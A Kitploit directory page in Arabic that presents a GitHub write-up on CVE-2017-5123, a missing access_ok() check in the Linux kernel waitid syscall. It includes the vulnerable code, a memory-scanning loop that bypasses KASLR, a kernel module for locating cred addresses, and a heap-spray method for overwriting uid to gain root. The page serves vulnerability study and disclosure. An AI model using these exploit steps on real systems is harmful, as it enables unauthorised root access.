Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-5123 — تحليل تقني مفصّل واستغلال إثبات المفهوم لثغرة CVE-2017-5123، وهي ثغرة في استدعاء نظام waitid في نواة لينكس تتيح تصعيد الامتيازات محليًا عبر غياب فحص access_ok(). | Kitploit
أدوات/GitHubGitHub/h1bana/cve-2017-5123
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubh1bana/cve-2017-5123

CVE-2017-5123

تحليل تقني مفصّل واستغلال إثبات المفهوم لثغرة CVE-2017-5123، وهي ثغرة في استدعاء نظام waitid في نواة لينكس تتيح تصعيد الامتيازات محليًا عبر غياب فحص access_ok().

عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-5123

نظرة عامة على الثغرة

استدعاء النظام waitid في نواة لينكس لم يتحقق من صحة العنوان الهدف المستخدم. قد يسمح هذا لمستخدم محلي بالكتابة في ذاكرة النواة، مما قد يؤدي إلى تصعيد الامتيازات على الجهاز أو الهروب من وضع الحماية.

وصف الثغرة

تصنيف الثغرة

  • تصعيد الامتيازات
  • الهروب من وضع الحماية (Chrome)

كود الثغرة

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // bản chất là gọi clac(), bật lại SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

الخطأ المحدد هنا هو عدم وجود فحص access_ok() قبل استدعاء الدالة unsafe_put_user(). في إصدارات kernel السابقة، كان البرنامج يستخدم الدالة put_user()، وهذه الدالة تتضمن أيضًا استدعاء فحص access_ok().

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

باستخدام الدالة unsafe_put_user()، يتجنب البرنامج الاضطرار إلى تشغيل وإيقاف SMAP بشكل متكرر خلال فترة قصيرة بسبب استدعاء user_access_begin() / user_access_end(). تقوم دالة access_ok() هنا بالتحقق من صحة العنوان ptr، وتضمن أنه يقع ضمن ذاكرة المستخدم، وتمنع المستخدم من الكتابة إلى ذاكرة kernel. إذن، إذا استدعينا syscall waitid وكانت وسيطة infop عنوانًا في kernel، فسيؤدي ذلك إلى تفعيل هذه الثغرة.

الاستغلال

غياب فحص access_ok() يسمح لنا بتمرير عنوان kernel عبر وسيطة infop الخاصة بـ waitid، وبعدها سيقوم syscall بالكتابة فوق هذا العنوان عبر استدعاء unsafe_put_user(). أحد القيود هنا هو أننا لا نستطيع التحكم في ما سيتم كتابته إلى عنوان kernel الذي نقدمه. هناك 6 حقول تُستخدم للكتابة: signo، وnull byte، وinfo.cause، وinfo.pid بقيمة قصوى 0x8000، وinfo.uid، وinfo.status الذي على الرغم من كونه من نوع int32 إلا أنه يحمل قيمة > 0 و < 256. الحقل الأكثر فائدة هنا على الأرجح هو null byte. يمكننا استخدامه للكتابة فوق cred->euid وcred->uid. للقيام بذلك، نحتاج إلى معرفة عنوان هاتين القيمتين.

تجاوز KASLR عبر مسح الذاكرة

وفقًا لـ kernel.org، فإن عنوان Kernel-space virtual memory المشترك بين جميع العمليات يبدأ من 0xffff800000000000، لكن النطاق من 0xxffff800000000000 إلى 0xffff87ffffffffff هو "guard hole، وهو محجوز أيضًا لـ hypervisor"، لذا سنبدأ مسح الذاكرة من العنوان 0xffff880000000000. وتجدر الإشارة أيضًا إلى أن قدرتنا على مسح الذاكرة تعود إلى أن unsafe_put_user() لا تتعطل عند الوصول إلى عناوين غير صالحة. وهذا يساعد على منع المستخدمين غير المميزين من تنفيذ DoS على النظام عبر تمرير عناوين غير صالحة.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

الآن بعد أن عرفنا عنوان kernel heap، ستكون الخطوة التالية هي تحديد عنوان cred struct.

العثور على عنوان Cred باستخدام heap spray

على الرغم من معرفتنا بعنوان kernel heap، إلا أن هذا العنوان قد لا يكون عنوان بداية heap. لذلك لا يمكننا حساب العنوان الدقيق لـ Cred struct. عندها نستخدم تقنية تُسمى heap spray.

  • إذا أنشأنا عددًا كبيرًا من العمليات، سيكون هناك العديد من cred struct في الذاكرة. ومن ثم يمكننا تخمين عنوان cred struct بسهولة أكبر.
  • تستمر هذه العمليات في استدعاء geteuid()؛ إذا كانت القيمة المُعادة 0، فهذا يعني أن العملية تعمل بصلاحيات root -> bingo.
  • العملية الأب تستمر في استدعاء syscall waitid() مستغلة الثغرة، ثم تخمين عنوان cred struct والكتابة فوق cred->uid لتصبح null.

يستغرق تصحيح الأخطاء للعثور على عنوان cred struct الخاص بالعمليات الفرعية وقتًا طويلًا، لذا استخدمت وحدة نمطية جاهزة لطباعة عنوان cred->euid عبر printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

لاحظت وجود عناوين متشابهة في النمط، وحتى بعد إعادة تشغيل النظام، تظل إزاحات هذه العناوين متشابهة. لذلك قررت اختيار عنوان واحد ثم إضافة pagesize في حلقة تكرارية لتخمين عنوان cred struct.

image

فيديو توضيحي للاستغلال

نص بديل للصورة هنا

بعض المشكلات حول هذا الأسلوب من الاستغلال

  • نسبة النجاح غير مضمونة.
  • بالنسبة لإصدارات kernel المتأثرة بهذه الثغرة، قد لا يعمل كود الاستغلال على جميع الإصدارات لأن كل إصدار kernel مختلف، كما أن إزاحة EUID عند استخدام الـ spray تختلف أيضًا. لكي يعمل الـ PoC على جميع الإصدارات، فعندما يبحث كود الاستغلال عن euid لتعديله إلى null، لقد جعلت العنوان بالصيغة heap addr founded + offset، ويجب تقليل الإزاحة إلى قيمة أصغر لتكون قابلة للاستخدام مع عدة إصدارات. لكن هذا يعني وقت هجوم أطول، ويزيد من احتمالية تعرض kernel للـ panic/crash بسبب إمكانية الكتابة فوق بنى مهمة أخرى في heap.

النطاق المتأثر

  • الإصدارات المتأثرة: linux kernel version 4.13 - 4.13.6
  • commit الذي ظهرت فيه الثغرة (2017-05-21, v4.13-rc1)

التصحيح

  • أضاف التصحيح فحص access_ok()
  • commit الذي أصلح الثغرة

الخلاصة

  • يمكن استخدام الثغرة لتصعيد الامتيازات، ويمكن ربطها بالهروب من وضع الحماية في Chrome. في وقت اكتشاف الثغرة، كان Chrome seccomp يسمح باستخدام waitid syscall.

المراجع

  • استغلال CVE-2017-5123 مع كامل الحمايات. SMEP وSMAP ووضع الحماية في Chrome!
تنزيل الأداة